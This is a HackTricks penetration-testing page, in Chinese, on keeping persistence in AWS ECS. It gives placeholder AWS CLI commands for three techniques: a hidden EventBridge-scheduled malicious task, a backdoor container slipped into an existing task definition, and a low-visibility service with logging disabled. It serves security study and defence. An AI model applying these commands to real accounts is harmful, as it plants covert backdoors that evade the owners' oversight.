AWS - ECS Persistence

支持 HackTricks

ECS

有关更多信息,请查看:

隐藏的周期性 ECS 任务

TODO: 测试

攻击者可以使用 Amazon EventBridge 创建一个隐藏的周期性 ECS 任务,以 定期调度恶意任务的执行。该任务可以进行侦察、外泄数据或在 AWS 账户中维持持久性。

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"

# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'

在现有 ECS 任务定义中添加后门容器

TODO: 测试

攻击者可以在现有的 ECS 任务定义中添加一个 隐蔽的后门容器,与合法容器并行运行。后门容器可用于持久性和执行恶意活动。

# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'

未记录的 ECS 服务

TODO: 测试

攻击者可以创建一个 未记录的 ECS 服务,该服务运行恶意任务。通过将所需的任务数量设置为最小并禁用日志记录,管理员更难注意到该恶意服务。

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
支持 HackTricks

Last updated